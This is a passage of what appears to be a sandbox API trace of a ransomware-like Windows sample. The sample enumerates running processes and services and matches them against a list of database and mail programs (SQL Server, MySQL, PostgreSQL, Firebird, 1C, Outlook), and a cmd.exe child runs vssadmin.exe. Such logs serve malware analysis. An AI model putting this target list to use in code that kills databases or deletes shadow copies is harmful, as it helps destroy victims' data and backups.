lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.374] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.375] lstrlenW (lpString="System") returned 6 [0043.375] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.375] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.375] lstrlenW (lpString="smss.exe") returned 8 [0043.375] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.375] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.376] lstrlenW (lpString="csrss.exe") returned 9 [0043.376] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.376] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.376] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.376] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.376] lstrlenW (lpString="wininit.exe") returned 11 [0043.376] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0043.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0043.376] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.376] lstrlenW (lpString="csrss.exe") returned 9 [0043.377] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.377] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.377] lstrlenW (lpString="winlogon.exe") returned 12 [0043.377] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.377] lstrlenW (lpString="services.exe") returned 12 [0043.377] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.377] lstrlenW (lpString="lsass.exe") returned 9 [0043.378] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.378] lstrlenW (lpString="lsm.exe") returned 7 [0043.378] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.378] lstrlenW (lpString="svchost.exe") returned 11 [0043.378] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.378] lstrlenW (lpString="svchost.exe") returned 11 [0043.378] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.379] lstrlenW (lpString="svchost.exe") returned 11 [0043.379] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.379] lstrlenW (lpString="svchost.exe") returned 11 [0043.379] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.379] lstrlenW (lpString="svchost.exe") returned 11 [0043.379] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.379] lstrlenW (lpString="audiodg.exe") returned 11 [0043.379] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.380] lstrlenW (lpString="svchost.exe") returned 11 [0043.380] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.380] lstrlenW (lpString="svchost.exe") returned 11 [0043.380] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.380] lstrlenW (lpString="dwm.exe") returned 7 [0043.380] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.381] lstrlenW (lpString="explorer.exe") returned 12 [0043.381] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.381] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.381] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.381] lstrlenW (lpString="taskhost.exe") returned 12 [0043.381] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.381] lstrlenW (lpString="svchost.exe") returned 11 [0043.381] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.382] lstrlenW (lpString="taskeng.exe") returned 11 [0043.382] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.382] lstrlenW (lpString="taskhost.exe") returned 12 [0043.382] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0043.382] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0043.382] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0043.383] lstrlenW (lpString="noticed.exe") returned 11 [0043.383] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0043.383] lstrlenW (lpString="uploaded.exe") returned 12 [0043.383] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0043.383] lstrlenW (lpString="hardware.exe") returned 12 [0043.383] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0043.383] lstrlenW (lpString="oracle.exe") returned 10 [0043.383] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0043.384] lstrlenW (lpString="creativity.exe") returned 14 [0043.384] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0043.384] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0043.384] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0043.384] lstrlenW (lpString="edited.exe") returned 10 [0043.384] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0043.384] lstrlenW (lpString="custody.exe") returned 11 [0043.384] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0043.385] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0043.385] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0043.385] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0043.385] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0043.385] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0043.385] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0043.386] lstrlenW (lpString="radius.exe") returned 10 [0043.386] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0043.386] lstrlenW (lpString="extensions.exe") returned 14 [0043.386] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0043.386] lstrlenW (lpString="desperate.exe") returned 13 [0043.386] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0043.386] lstrlenW (lpString="professor-mo.exe") returned 16 [0043.386] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0043.387] lstrlenW (lpString="guidance.exe") returned 12 [0043.387] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0043.387] lstrlenW (lpString="week.exe") returned 8 [0043.387] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0043.387] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0043.387] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0043.388] lstrlenW (lpString="sn featured.exe") returned 15 [0043.388] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0043.388] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0043.388] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0043.388] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0043.388] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.388] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.388] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0043.389] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0043.389] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0043.389] lstrlenW (lpString="mobsync.exe") returned 11 [0043.389] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.389] lstrlenW (lpString="cmd.exe") returned 7 [0043.389] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.389] lstrlenW (lpString="conhost.exe") returned 11 [0043.390] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.390] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.390] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.390] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.390] Process32NextW (in: hSnapshot=0x350, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0043.390] CloseHandle (hObject=0x350) returned 1 [0043.390] Sleep (dwMilliseconds=0x1f4) [0044.340] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298008 [0044.340] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0044.340] GetLastError () returned 0xea [0044.340] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x123e) returned 0x4f300d8 [0044.341] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f300d8, cbBufSize=0x123e, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f300d8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0044.341] CloseServiceHandle (hSCObject=0x3298008) returned 1 [0044.342] lstrlenW (lpString="Appinfo") returned 7 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.342] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.342] lstrlenW (lpString="AudioSrv") returned 8 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.342] lstrlenW (lpString="BFE") returned 3 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.342] lstrlenW (lpString="CryptSvc") returned 8 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.342] lstrlenW (lpString="CscService") returned 10 [0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.343] lstrcmpiW (lpString1="sqlserveradhelper", 